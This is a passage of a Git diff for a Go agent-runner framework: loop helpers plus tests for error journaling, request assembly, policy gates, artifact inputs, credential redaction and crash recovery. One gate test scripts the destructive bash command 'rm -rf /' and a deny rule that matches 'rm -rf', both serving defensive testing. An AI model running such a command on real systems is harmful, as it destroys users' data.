state.State, name string) string { + if def, ok := tool.Get(name); ok { + return string(def.Class) + } + if mt, ok := mcpToolIn(s, name); ok { + return mt.Class + } + return "" +} + +func mcpToolIn(s state.State, name string) (event.MCPToolDef, bool) { + for _, mt := range s.Run.MCPTools { + if mt.Name == name { + return mt, true + } + } + return event.MCPToolDef{}, false +} + +// toolIdempotentIn: reads and wait-class tools re-run safely on resume; +// edits and executions do not (correctness #4). MCP read-class tools carry +// the server's ReadOnlyHint ("does not modify its environment"), so they +// re-run safely too; everything else MCP is execute and does not. +func toolIdempotentIn(s state.State, name string) bool { + if def, ok := tool.Get(name); ok { + return def.Class == tool.ClassRead || def.Class == tool.ClassWait + } + if mt, ok := mcpToolIn(s, name); ok { + return mt.Class == string(tool.ClassRead) + } + return false +} + +// toolEffectID namespaces tool effects away from LLM effects (eff-llm-t), +// so a model-chosen call_id can never collide with an LLM effect's id. +func toolEffectID(callID string) string { return "eff-tool-" + callID } + +// executeToolTimeout is the S1 default bash wall-clock limit, now owned by +// the durable-timer substrate (2.11) instead of the tool implementation. +const executeToolTimeout = 120 * time.Second + +// maxMalformedRetries bounds consecutive malformed_tool_call retries on one +// turn before the run ends with a user-visible error (S4.6). +const maxMalformedRetries = 2 + +func toolTimeoutIn(s state.State, name string) time.Duration { + if isAgentLaunch(name) { + // A child run is bounded by its own max_turns and budget, not a + // wall clock — 120s would kill legitimate children (S5.3/S5.4). + return 0 + } + if def, ok := tool.Get(name); ok { + if def.Class == tool.ClassExecute { + return executeToolTimeout + } + return 0 + } + if _, ok := mcpToolIn(s, name); ok { + // Every MCP call crosses a process/network boundary; even a + // read-class tool can hang on a stuck server, so all get the + // execute wall clock. + return executeToolTimeout + } + return 0 +} + +// FirePendingTimers is the resume-side timer sweep (2.13 calls it): every +// timer still pending in the fold whose fire_at has passed is fired NOW; +// future timers are returned for their owners to re-arm. +func FirePendingTimers(s state.State, clk clock.Clock, appendE AppendFunc) ([]event.TimerSet, error) { + now := clk.Now() + var future []event.TimerSet + for _, tm := range s.Timers { + if tm.FireAt.After(now) { + future = append(future, tm) + continue + } + if _, err := appendE(event.TypeTimerFired, &event.TimerFired{TimerID: tm.TimerID}); err != nil { + return nil, err + } + } + return future, nil +} + +func assistantText(msg provider.Message) string { + for _, p := range msg.Parts { + if p.Kind == provider.PartText { + return p.Text + } + } + return "" +} diff --git a/internal/agent/loop_error_test.go b/internal/agent/loop_error_test.go new file mode 100644 index 0000000..9a65847 --- /dev/null +++ b/internal/agent/loop_error_test.go @@ -0,0 +1,113 @@ +package agent + +import ( + "context" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func eventTypes(t *testing.T, dir string) []string { + t.Helper() + events, err := store.ReadEvents(dir) + if err != nil { + t.Fatal(err) + } + var types []string + for _, e := range events { + types = append(types, e.Type) + } + return types +} + +// A provider error mid-run must surface wrapped with the turn number AND +// leave a terminal run_ended{error} event (a failed log must be +// distinguishable from a truncated one). The failure itself must be +// journaled as activity_failed before the terminal event. +func TestLoopProviderErrorWritesTerminalRecord(t *testing.T) { + // One scripted step; the second Complete call exhausts the fixture. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }}, + }} + + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + sessDir := filepath.Join(t.TempDir(), "sess") + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + + loop := &Loop{ + Spec: &AgentSpec{Name: "t", Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 10}, + SystemPrompt: "s", Tools: []string{"bash"}, MaxTurns: 5}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "sess-err", + } + + _, err = loop.Run(context.Background(), "loop until exhausted") + if err == nil || !strings.Contains(err.Error(), "turn 2") { + t.Fatalf("err = %v, want wrapped turn 2", err) + } + + types := eventTypes(t, sessDir) + if len(types) == 0 || types[len(types)-1] != event.TypeRunEnded { + t.Fatalf("event types = %v, want terminal run_ended", types) + } + var sawFailed bool + for _, typ := range types { + if typ == event.TypeActivityFailed { + sawFailed = true + } + } + if !sawFailed { + t.Errorf("event types = %v, want activity_failed for the exhausted provider call", types) + } +} + +// An event append failure aborts the run with an error (the best-effort +// terminal event may also fail — the error must still propagate). +func TestLoopEventAppendFailureAborts(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }} + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + _ = es.Close() // every subsequent append fails + + loop := &Loop{ + Spec: &AgentSpec{Name: "t", Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 10}, + SystemPrompt: "s", MaxTurns: 3}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "sess-closed", + } + if _, err := loop.Run(context.Background(), "hi"); err == nil { + t.Fatal("expected error from failing event appends") + } +} diff --git a/internal/agent/loop_golden_test.go b/internal/agent/loop_golden_test.go new file mode 100644 index 0000000..bfd6c10 --- /dev/null +++ b/internal/agent/loop_golden_test.go @@ -0,0 +1,134 @@ +package agent + +import ( + "context" + "encoding/json" + "iter" + "os" + "path/filepath" + "regexp" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// capturingProvider records every CompleteRequest it serves — the request +// assembly golden pins the exact provider-visible shape (roles, part kinds, +// call ids, result placement) before S2.10 rewrites the loop orchestration. +type capturingProvider struct { + inner provider.Provider + requests []provider.CompleteRequest +} + +func (c *capturingProvider) Capabilities() provider.Capabilities { return c.inner.Capabilities() } + +func (c *capturingProvider) Complete(ctx context.Context, req provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + c.requests = append(c.requests, req) + return c.inner.Complete(ctx, req) +} + +func TestLoopRequestAssemblyGolden(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + // S4.3 runs a turn's tool calls concurrently, so the read and the edit + // must target DIFFERENT files — otherwise the read's result races the + // edit and the golden is nondeterministic. This still pins the assembly + // shape: two calls, two results, correct roles and ordering. + if err := os.WriteFile(filepath.Join(root, "notes.txt"), []byte("just notes"), 0o644); err != nil { + t.Fatal(err) + } + + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "reading then editing"}, + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "notes.txt"}}}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "greet.txt", "old": "hello world", "new": "HELLO WORLD"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + + cap := &capturingProvider{inner: scripted.New(fix)} + loop := &Loop{ + Spec: &AgentSpec{ + Name: "golden", + Model: ModelSpec{Provider: "scripted", ID: "model-x", MaxTokens: 256}, + SystemPrompt: "be precise", + Tools: []string{"read_file", "edit_file"}, + MaxTurns: 5, + }, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "golden-sess", + } + if _, err := loop.Run(context.Background(), "make it loud"); err != nil { + t.Fatal(err) + } + + got, err := json.MarshalIndent(normalizeRequests(cap.requests), "", " ") + if err != nil { + t.Fatal(err) + } + got = append(got, '\n') + + golden := filepath.Join("testdata", "request_assembly.golden") + if *update { + if err := os.WriteFile(golden, got, 0o644); err != nil { + t.Fatal(err) + } + } + want, err := os.ReadFile(golden) + if err != nil { + t.Fatalf("missing golden (run with -update): %v", err) + } + if string(got) != string(want) { + t.Errorf("request assembly drifted from golden.\n got:\n%s\nwant:\n%s", got, want) + } +} + +// envBlockRe matches the frozen env block whose contents (cwd = a random +// temp dir) are environment-specific; the golden pins shape, not the host. +var envBlockRe = regexp.MustCompile(`(?s).*?`) + +// normalizeRequests strips tool schemas (owned by the registry, not the +// loop) and normalizes the volatile env block so the golden pins +// orchestration shape only. +func normalizeRequests(reqs []provider.CompleteRequest) []map[string]any { + out := make([]map[string]any, 0, len(reqs)) + for _, r := range reqs { + toolNames := make([]string, 0, len(r.Tools)) + for _, td := range r.Tools { + toolNames = append(toolNames, td.Name) + } + out = append(out, map[string]any{ + "turn": r.Turn, + "model": r.Model, + "max_tokens": r.MaxTokens, + "system": envBlockRe.ReplaceAllString(r.System, "NORMALIZED"), + "tools": toolNames, + "messages": r.Messages, + }) + } + return out +} diff --git a/internal/agent/loop_pipeline_test.go b/internal/agent/loop_pipeline_test.go new file mode 100644 index 0000000..4b26af0 --- /dev/null +++ b/internal/agent/loop_pipeline_test.go @@ -0,0 +1,173 @@ +package agent + +import ( + "context" + "encoding/json" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" +) + +type policyGate struct { + name string + check func(pipeline.Effect) pipeline.Decision +} + +func (g policyGate) Name() string { return g.name } +func (g policyGate) Check(_ context.Context, eff pipeline.Effect) pipeline.Decision { + return g.check(eff) +} + +// Journal timepoint, allow path: effect_resolved{allow} lands after +// adjudication and BEFORE the activity's Started. +func TestEffectResolvedBeforeExecution(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + policyGate{name: "permission", check: func(pipeline.Effect) pipeline.Decision { return pipeline.Allow }}, + }} + if _, err := l.Run(context.Background(), "run true"); err != nil { + t.Fatal(err) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + resolvedAt, startedAt := -1, -1 + for i, e := range events { + if e.Type == event.TypeEffectResolved && strings.Contains(string(e.Payload), "eff-tool-call_1_0") { + resolvedAt = i + } + if e.Type == event.TypeActivityStarted && strings.Contains(string(e.Payload), "tool-call_1_0") { + startedAt = i + } + } + if resolvedAt < 0 || startedAt < 0 || resolvedAt > startedAt { + t.Fatalf("effect_resolved at %d, activity_started at %d — resolution must precede execution", resolvedAt, startedAt) + } +} + +// Deny path: the resolution is the ONLY fact (no activity events for the +// call), the fold turns it into a model-visible error, and the loop +// continues — the model sees the denial on its next turn. +func TestDeniedEffectSkipsExecutionAndContinues(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "rm -rf /"}}}, + {Finish: "tool_use"}, + }}, + { + Expect: scripted.Expect{LastMessageContains: "denied: destructive command"}, + Respond: []scripted.Event{{Text: "understood"}, {Finish: "end_turn"}}, + }, + }} + l := testLoop(t, fix, t.TempDir()) + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + policyGate{name: "permission", check: func(eff pipeline.Effect) pipeline.Decision { + if eff.Kind == "tool_call" && strings.Contains(string(eff.Args), "rm -rf") { + return pipeline.Deny("destructive command") + } + return pipeline.Allow + }}, + }} + res, err := l.Run(context.Background(), "clean up") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + for _, e := range events { + if e.Type == event.TypeActivityStarted && strings.Contains(string(e.Payload), "tool-call_1_0") { + t.Fatalf("denied effect must not start an activity: %s", e.Payload) + } + } +} + +// Ask path with the fail-closed env resolver (AGENTRUNNER_APPROVE unset): +// the ask escalates to an approval which auto-denies, recorded as an +// approval gate result — never a silent allow, never an unexplained deny. +func TestAskDowngradesToDenyUntilApprovalFlow(t *testing.T) { + t.Setenv("AGENTRUNNER_APPROVE", "never") + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "a.txt", "old": "", "new": "x"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + policyGate{name: "permission", check: func(eff pipeline.Effect) pipeline.Decision { + if eff.Class == "edit" { + return pipeline.Ask("edits need approval") + } + return pipeline.Allow + }}, + }} + if _, err := l.Run(context.Background(), "write a file"); err != nil { + t.Fatal(err) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var resolved event.EffectResolved + for _, e := range events { + if e.Type == event.TypeEffectResolved && strings.Contains(string(e.Payload), "eff-tool-call_1_0") { + if err := json.Unmarshal(e.Payload, &resolved); err != nil { + t.Fatal(err) + } + } + } + if resolved.Verdict != event.VerdictDeny { + t.Fatalf("resolved = %+v", resolved) + } + if len(resolved.GateResults) != 2 || resolved.GateResults[0].Decision != event.VerdictAsk || + resolved.GateResults[1].Gate != "approval" || + !strings.Contains(resolved.GateResults[1].Reason, "auto-denied") { + t.Fatalf("gate results = %+v", resolved.GateResults) + } +} + +// LLM effects are adjudicated too; every turn journals a resolution. +func TestLLMEffectResolvedPerTurn(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hi"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + if _, err := l.Run(context.Background(), "hello"); err != nil { + t.Fatal(err) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var sawLLMResolution bool + for _, e := range events { + if e.Type == event.TypeEffectResolved && strings.Contains(string(e.Payload), "eff-llm-t1") { + sawLLMResolution = true + } + } + if !sawLLMResolution { + t.Fatal("llm effect resolution missing from journal") + } +} diff --git a/internal/agent/loop_test.go b/internal/agent/loop_test.go new file mode 100644 index 0000000..69c1a22 --- /dev/null +++ b/internal/agent/loop_test.go @@ -0,0 +1,175 @@ +package agent + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func testLoop(t *testing.T, fix scripted.Fixture, root string) *Loop { + t.Helper() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + return &Loop{ + Spec: &AgentSpec{ + Name: "test", + Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "be helpful", + Tools: []string{"read_file", "edit_file", "bash"}, + MaxTurns: 10, + }, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + SessionID: "test-session", + } +} + +func TestLoopMultiTurnEditsFile(t *testing.T) { + root := t.TempDir() + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + + // Turn 1: model reads, edits. Turn 2: model confirms and stops. + fix := scripted.Fixture{Steps: []scripted.Step{ + { + Expect: scripted.Expect{ToolsInclude: []string{"read_file"}, LastMessageContains: "make it loud"}, + Respond: []scripted.Event{ + {Text: "reading then editing"}, + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "greet.txt"}}}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "greet.txt", "old": "hello world", "new": "HELLO WORLD"}}}, + {Usage: &scripted.UsageEvent{InputTokens: 10, OutputTokens: 5}}, + {Finish: "tool_use"}, + }, + }, + { + Expect: scripted.Expect{LastMessageContains: "edited greet.txt"}, + Respond: []scripted.Event{{Text: "done"}, {Usage: &scripted.UsageEvent{InputTokens: 8, OutputTokens: 2}}, {Finish: "end_turn"}}, + }, + }} + + l := testLoop(t, fix, root) + res, err := l.Run(context.Background(), "make it loud") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Errorf("result = %+v", res) + } + if res.Usage.InputTokens != 18 || res.Usage.OutputTokens != 7 { + t.Errorf("usage = %+v", res.Usage) + } + + got, _ := os.ReadFile(filepath.Join(root, "greet.txt")) + if string(got) != "HELLO WORLD" { + t.Errorf("file = %q, want HELLO WORLD", got) + } +} + +func TestLoopTextOnlyStops(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "no tools needed"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "hi") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 1 { + t.Errorf("result = %+v", res) + } +} + +func TestLoopToolErrorContinues(t *testing.T) { + // The model calls read_file on a missing path; the error result feeds + // back and the model recovers on the next turn. + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "nope.txt"}}}, + {Finish: "tool_use"}, + }}, + { + Expect: scripted.Expect{LastMessageContains: "error"}, + Respond: []scripted.Event{{Text: "ah, missing"}, {Finish: "end_turn"}}, + }, + }} + l := testLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "read nope") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Errorf("result = %+v", res) + } +} + +func TestLoopMaxTurns(t *testing.T) { + // Model always calls a tool → never stops on its own. + steps := make([]scripted.Step, 5) + for i := range steps { + steps[i] = scripted.Step{Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "bash", Args: map[string]any{"command": "true"}}}, + {Finish: "tool_use"}, + }} + } + l := testLoop(t, scripted.Fixture{Steps: steps}, t.TempDir()) + l.Spec.MaxTurns = 3 + res, err := l.Run(context.Background(), "loop forever") + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_turns" || res.Turns != 3 { + t.Errorf("result = %+v", res) + } +} + +// The blanket appender redaction: a credential entering via the TASK (the +// classic shell-expansion leak) must not reach run_started, input_received, +// the fold's user message, or the provider request. +func TestTaskCredentialRedactedEverywhere(t *testing.T) { + t.Setenv("LEAKY_API_KEY", "sk-open-sesame-12345") + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "on it"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + if _, err := l.Run(context.Background(), "use sk-open-sesame-12345 to call the api"); err != nil { + t.Fatal(err) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + for _, e := range events { + if strings.Contains(string(e.Payload), "sk-open-sesame-12345") { + t.Fatalf("credential leaked into %s: %s", e.Type, e.Payload) + } + } + var sawMarker bool + for _, e := range events { + if strings.Contains(string(e.Payload), "[REDACTED:LEAKY_API_KEY]") { + sawMarker = true + } + } + if !sawMarker { + t.Fatal("expected redaction marker in the journaled task") + } +} diff --git a/internal/agent/materialize_test.go b/internal/agent/materialize_test.go new file mode 100644 index 0000000..f357846 --- /dev/null +++ b/internal/agent/materialize_test.go @@ -0,0 +1,133 @@ +package agent + +import ( + "context" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S5.8: a parent publishes an artifact, spawns a child passing the ref as +// input, and the child finds the MATERIALIZED file in its workspace — the +// materialize activity journaled in the child's log before its first turn. +func TestArtifactInputMaterializedForChild(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + // Parent turn 1: publish the briefing. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "a1", Name: "publish_artifact", + Args: map[string]any{"stream": "briefing", "content": "focus: the auth module"}}}, + {Finish: "tool_use"}, + }}, + // Parent turn 2: spawn with the ref as input. The ref is not known + // statically — the test rewrites this step after computing it, so + // instead the fixture uses a placeholder resolved below. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "read briefing.md and confirm", + "inputs": []map[string]any{{"ref": "PLACEHOLDER", "path": "briefing.md"}}}}}, + {Finish: "tool_use"}, + }}, + // Child turn 1: read the materialized file. + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "read_file", + Args: map[string]any{"path": "briefing.md"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "confirmed: auth module"}, {Finish: "end_turn"}}}, + // Parent turn 3: done. + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + + // Compute the ref the same way the store will (content-addressed), then + // patch the fixture — deterministic by CAS design. + root := t.TempDir() + l, _ := spawnLoop(t, fix, root) + child := summarizerSpec() + child.Tools = []string{"read_file"} + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": child}) + l.Spec.Tools = append(l.Spec.Tools, "publish_artifact") + if err := l.ensureArtifacts(); err != nil { + t.Fatal(err) + } + ref, err := l.Artifacts.Put([]byte("focus: the auth module")) + if err != nil { + t.Fatal(err) + } + fix.Steps[1].Respond[0].ToolCall.Args["inputs"] = []map[string]any{ + {"ref": ref, "path": "briefing.md"}} + + res, err := l.Run(context.Background(), "brief then delegate") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + + // The child's journal: RunStarted carries the input, a materialize + // activity completed BEFORE the first turn, and the read saw the content. + childDir := filepath.Join(l.Store.Dir(), "sub", "s1-a1") + childEvents, err := store.ReadEvents(childDir) + if err != nil { + t.Fatal(err) + } + var matSeq, turnSeq int64 + for _, e := range childEvents { + if e.Type == event.TypeActivityCompleted && strings.Contains(string(e.Payload), "materialize") { + matSeq = e.Seq + } + if e.Type == event.TypeTurnStarted && turnSeq == 0 { + turnSeq = e.Seq + } + } + if matSeq == 0 || turnSeq == 0 || matSeq > turnSeq { + t.Fatalf("materialize (seq %d) must complete before turn 1 (seq %d)", matSeq, turnSeq) + } + childFold, err := state.Fold(childEvents) + if err != nil { + t.Fatal(err) + } + if !childFold.Run.Materialized || len(childFold.Run.Inputs) != 1 { + t.Errorf("child fold: materialized=%v inputs=%+v", childFold.Run.Materialized, childFold.Run.Inputs) + } + c1 := childFold.Conversation.ToolResults["c1"] + if c1.IsError || !strings.Contains(string(c1.Result), "focus: the auth module") { + t.Errorf("child read = %+v, want the materialized briefing", c1) + } +} + +// S5.8: a dangling input ref is the parent model's mistake — model-visible +// error, no child run starts. +func TestArtifactInputDanglingRefRejected(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "go", + "inputs": []map[string]any{{"ref": "sha256-doesnotexist", "path": "x.md"}}}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok, without inputs then"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + res, err := l.Run(context.Background(), "go") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "does not resolve") { + t.Errorf("dangling ref spawn = %+v", tr) + } +} diff --git a/internal/agent/matrix_test.go b/internal/agent/matrix_test.go new file mode 100644 index 0000000..da0b02e --- /dev/null +++ b/internal/agent/matrix_test.go @@ -0,0 +1,220 @@ +package agent + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "testing" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// TestCrashMatrix is the S2 exit gate: every named injection point and the +// counting predicates over a canonical run. Each row kills a subprocess at +// the armed point, then resumes in-process and requires either an exact +// continuation or an in-doubt refusal. +// +// S4.3 made same-turn tool calls execute CONCURRENTLY, which races the +// per-activity crash-point counter (two goroutines hit +// after_exec_before_journal in nondeterministic order). To keep the matrix +// a DETERMINISTIC sequential gate, the canonical run issues one tool per +// turn — read in t1, edit in t2, done in t3 — so every activity runs +// strictly in sequence. Concurrent multi-tool behavior is covered +// separately by TestParallelToolCalls. +// +// Canonical run event order (activity exec points in brackets): +// +// run_started, input_received, turn_started(1) + snapshot, +// activity_started(llm-t1) [exec hit 1] activity_completed, assistant_message(1), +// activity_started(read) [exec hit 2] activity_completed, +// turn_started(2) + snapshot, +// activity_started(llm-t2) [exec hit 3] activity_completed, assistant_message(2), +// activity_started(edit) [exec hit 4] activity_completed, +// turn_started(3) + snapshot, +// activity_started(llm-t3) [exec hit 5] activity_completed, assistant_message(3), +// run_ended +func TestCrashMatrix(t *testing.T) { + if os.Getenv("GO_CRASH_HELPER") == "1" { + helperMatrixRun() + return + } + + rows := []struct { + name string + predicate string + resumeFixture string // full | fromT2 | none + wantInDoubt bool + }{ + {"run-started-only", "after:run_started:1", "full", false}, + {"input-journaled", "after:input_received:1", "full", false}, + {"input-point", "point:" + crash.PointAfterJournalInput, "full", false}, + {"llm-executed-unjournaled", "point:" + crash.PointAfterExecBeforeJournal + ":1", "full", false}, + {"llm-completed-unmessaged", "after:activity_completed:1", "full", false}, + {"assistant-journaled", "after:assistant_message:1", "fromT2", false}, + {"read-executed-unjournaled", "point:" + crash.PointAfterExecBeforeJournal + ":2", "fromT2", false}, + {"read-result-journaled", "after:activity_completed:2", "fromT2", false}, + {"edit-executed-unjournaled", "point:" + crash.PointAfterExecBeforeJournal + ":4", "none", true}, + {"turn2-boundary", "after:turn_started:2", "fromT2", false}, + {"snapshot-written", "point:" + crash.PointAfterSnapshotWrite + ":2", "fromT2", false}, + {"before-run-end", "point:" + crash.PointBeforeRunEnd, "none", false}, + } + + for _, row := range rows { + t.Run(row.name, func(t *testing.T) { + base := t.TempDir() + sessDir := filepath.Join(base, "sess") + root := filepath.Join(base, "ws") + if err := os.Mkdir(root, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "greet.txt"), []byte("hello world"), 0o644); err != nil { + t.Fatal(err) + } + + cmd := exec.Command(os.Args[0], "-test.run=TestCrashMatrix") + cmd.Env = append(os.Environ(), + "GO_CRASH_HELPER=1", + "CRASH_SESS_DIR="+sessDir, + "CRASH_WS="+root, + crash.EnvVar+"="+row.predicate, + ) + out, err := cmd.CombinedOutput() + var ee *exec.ExitError + if !errors.As(err, &ee) || ee.ExitCode() != crash.ExitCode { + t.Fatalf("subprocess: err = %v, out = %s", err, out) + } + + es, err := store.OpenEventStore(sessDir) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + prov := scripted.New(matrixFixture(row.resumeFixture)) + l := &Loop{ + Spec: matrixSpec(), + Provider: prov, + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "matrix", + } + res, err := l.Resume(context.Background()) + + if row.wantInDoubt { + var inDoubt *InDoubtError + if !errors.As(err, &inDoubt) { + t.Fatalf("err = %v, want InDoubtError", err) + } + return + } + if err != nil { + t.Fatalf("resume: %v", err) + } + if res.Reason != "completed" || res.Turns != 3 { + t.Fatalf("res = %+v", res) + } + if err := prov.Done(); err != nil { + t.Errorf("fixture: %v", err) + } + + // 分毫不差: the file is fixed, the log is gapless, it ends with + // 